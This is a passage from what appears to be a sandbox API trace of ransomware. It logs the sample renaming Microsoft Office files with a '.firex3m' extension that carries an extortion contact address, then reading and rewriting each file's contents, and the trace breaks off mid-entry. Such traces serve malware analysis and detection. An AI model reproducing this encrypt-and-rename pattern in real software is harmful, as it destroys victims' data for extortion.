GetProcessHeap () returned 0x630000 [0189.679] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1161) returned 0x72369e8 [0189.679] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.679] ReadFile (in: hFile=0x648, lpBuffer=0x722a78, nNumberOfBytesToRead=0x1140, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a78*, lpNumberOfBytesRead=0x687ff0c*=0x1140, lpOverlapped=0x0) returned 1 [0189.702] GetProcessHeap () returned 0x630000 [0189.702] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0189.702] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.702] WriteFile (in: hFile=0x648, lpBuffer=0x72369e8*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72369e8*, lpNumberOfBytesWritten=0x687ff0c*=0x1140, lpOverlapped=0x0) returned 1 [0189.703] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.703] WriteFile (in: hFile=0x648, lpBuffer=0x7237b27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7237b27*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.703] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.703] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.703] CloseHandle (hObject=0x648) returned 1 [0189.703] GetProcessHeap () returned 0x630000 [0189.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72369e8 | out: hHeap=0x630000) returned 1 [0189.703] GetProcessHeap () returned 0x630000 [0189.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722a78 | out: hHeap=0x630000) returned 1 [0189.703] GetProcessHeap () returned 0x630000 [0189.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0189.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37052fe9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1176, dwReserved0=0x9a87496, dwReserved1=0x722a70, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5340 [0189.704] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0189.704] Sleep (dwMilliseconds=0x1) [0189.727] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5B.GIF", len=0x49 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5B.GIF") returned 1 [0189.727] GetProcessHeap () returned 0x630000 [0189.727] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x296c) returned 0x707d3d0 [0189.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir5b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0189.728] CloseHandle (hObject=0x648) returned 1 [0189.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.728] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir5b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5B.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir5b.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.730] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5B.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x592b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR5B.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR5~2.FIR")) returned 0x6d52c0 [0189.730] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0189.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5B.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\zpdir5b.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0189.730] GetProcessHeap () returned 0x630000 [0189.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5941) returned 0x726fa50 [0189.730] GetProcessHeap () returned 0x630000 [0189.730] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5941) returned 0x72753a0 [0189.730] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.730] ReadFile (in: hFile=0x648, lpBuffer=0x726fa50, nNumberOfBytesToRead=0x5920, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa50*, lpNumberOfBytesRead=0x687ff0c*=0x5920, lpOverlapped=0x0) returned 1 [0193.072] GetProcessHeap () returned 0x630000 [0193.072] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176d40 [0193.072] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.072] WriteFile (in: hFile=0x648, lpBuffer=0x72753a0*, nNumberOfBytesToWrite=0x5920, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72753a0*, lpNumberOfBytesWritten=0x687ff0c*=0x5920, lpOverlapped=0x0) returned 1 [0194.325] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.325] WriteFile (in: hFile=0x648, lpBuffer=0x727acbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727acbf*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.258] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.258] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.258] CloseHandle (hObject=0x648) returned 1 [0195.295] GetProcessHeap () returned 0x630000 [0195.295] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72753a0 | out: hHeap=0x630000) returned 1 [0195.295] GetProcessHeap () returned 0x630000 [0195.295] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726fa50 | out: hHeap=0x630000) returned 1 [0195.295] GetProcessHeap () returned 0x630000 [0195.295] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176d40 | out: hHeap=0x630000) returned 1 [0196.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR5B.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3a540a9a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x594f, dwReserved0=0x9a87496, dwReserved1=0x726fa48, cFileName="ZPDIR5B.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR5~2.FIR")) returned 0x6d5540 [0196.305] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0196.305] Sleep (dwMilliseconds=0x1) [0196.313] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx", len=0x4b | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx") returned 1 [0196.313] GetProcessHeap () returned 0x630000 [0196.313] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47c8) returned 0x7133a90 [0196.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0196.435] CloseHandle (hObject=0x434) returned 1 [0196.435] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.435] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoanAmortization.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOANAM~1.FIR")) returned 0x6d53c0 [0196.841] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0196.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\loanamortization.xltx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0196.841] GetProcessHeap () returned 0x630000 [0196.841] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0196.841] GetProcessHeap () returned 0x630000 [0196.841] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0196.841] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.841] ReadFile (in: hFile=0x434, lpBuffer=0x72d3518, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesRead=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.038] GetProcessHeap () returned 0x630000 [0205.038] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0205.038] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.038] WriteFile (in: hFile=0x434, lpBuffer=0x72de948*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesWritten=0x687ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.038] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.038] WriteFile (in: hFile=0x434, lpBuffer=0x72e9d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d47*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0205.039] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.039] WriteFile (in: hFile=0x434, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0205.039] CloseHandle (hObject=0x434) returned 1 [0205.039] GetProcessHeap () returned 0x630000 [0205.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0205.039] GetProcessHeap () returned 0x630000 [0205.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0205.039] GetProcessHeap () returned 0x630000 [0205.039] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0205.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0205.039] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\LoanAmortization.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x402843b1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf6c5, dwReserved0=0x9a87496, dwReserved1=0x72d3510, cFileName="LoanAmortization.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOANAM~1.FIR")) returned 0x6d4f00 [0205.039] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0205.039] Sleep (dwMilliseconds=0x1) [0207.182] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\THMBNAIL.PNG") returned 1 [0207.182] GetProcessHeap () returned 0x630000 [0207.182] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c48) returned 0x6fe4288 [0207.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0207.183] CloseHandle (hObject=0x6a8) returned 1 [0207.183] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0207.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0207.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5400 [0207.184] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0207.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0207.184] GetProcessHeap () returned 0x630000 [0207.184] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8101) returned 0x7393dd0 [0207.185] GetProcessHeap () returned 0x630000 [0207.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8101) returned 0x6fabfe8 [0207.185] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.185] ReadFile (in: hFile=0x6a8, lpBuffer=0x7393dd0, nNumberOfBytesToRead=0x80e0, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesRead=0x687ff0c*=0x80e0, lpOverlapped=0x0) returned 1 [0211.274] GetProcessHeap () returned 0x630000 [0211.274] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0212.882] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.883] WriteFile (in: hFile=0x6a8, lpBuffer=0x6fabfe8*, nNumberOfBytesToWrite=0x80e0, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fabfe8*, lpNumberOfBytesWritten=0x687ff0c*=0x80e0, lpOverlapped=0x0) returned 1 [0212.883] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.883] WriteFile (in: hFile=0x6a8, lpBuffer=0x6fb40c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb40c7*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0212.883] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.883] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0212.883] CloseHandle (hObject=0x6a8) returned 1 [0212.883] GetProcessHeap () returned 0x630000 [0212.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fabfe8 | out: hHeap=0x630000) returned 1 [0212.883] GetProcessHeap () returned 0x630000 [0212.883] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0212.889] GetProcessHeap () returned 0x630000 [0212.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0212.889] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44d6d68f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8115, dwReserved0=0x9a87496, dwReserved1=0x7393dc8, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5200 [0212.889] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0212.889] Sleep (dwMilliseconds=0x1) [0214.871] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SPREADSHEETCOMPARE.EXE", len=0x6f | out: pbstr=0x687ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SPREADSHEETCOMPARE.EXE") returned 1 [0214.871] GetProcessHeap () returned 0x630000 [0214.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f2c) returned 0x7128660 [0214.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SPREADSHEETCOMPARE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\spreadsheetcompare.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0214.875] CloseHandle (hObject=0x718) returned 1 [0214.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0214.875] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SPREADSHEETCOMPARE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\spreadsheetcompare.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\SPREADSHEETCOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program 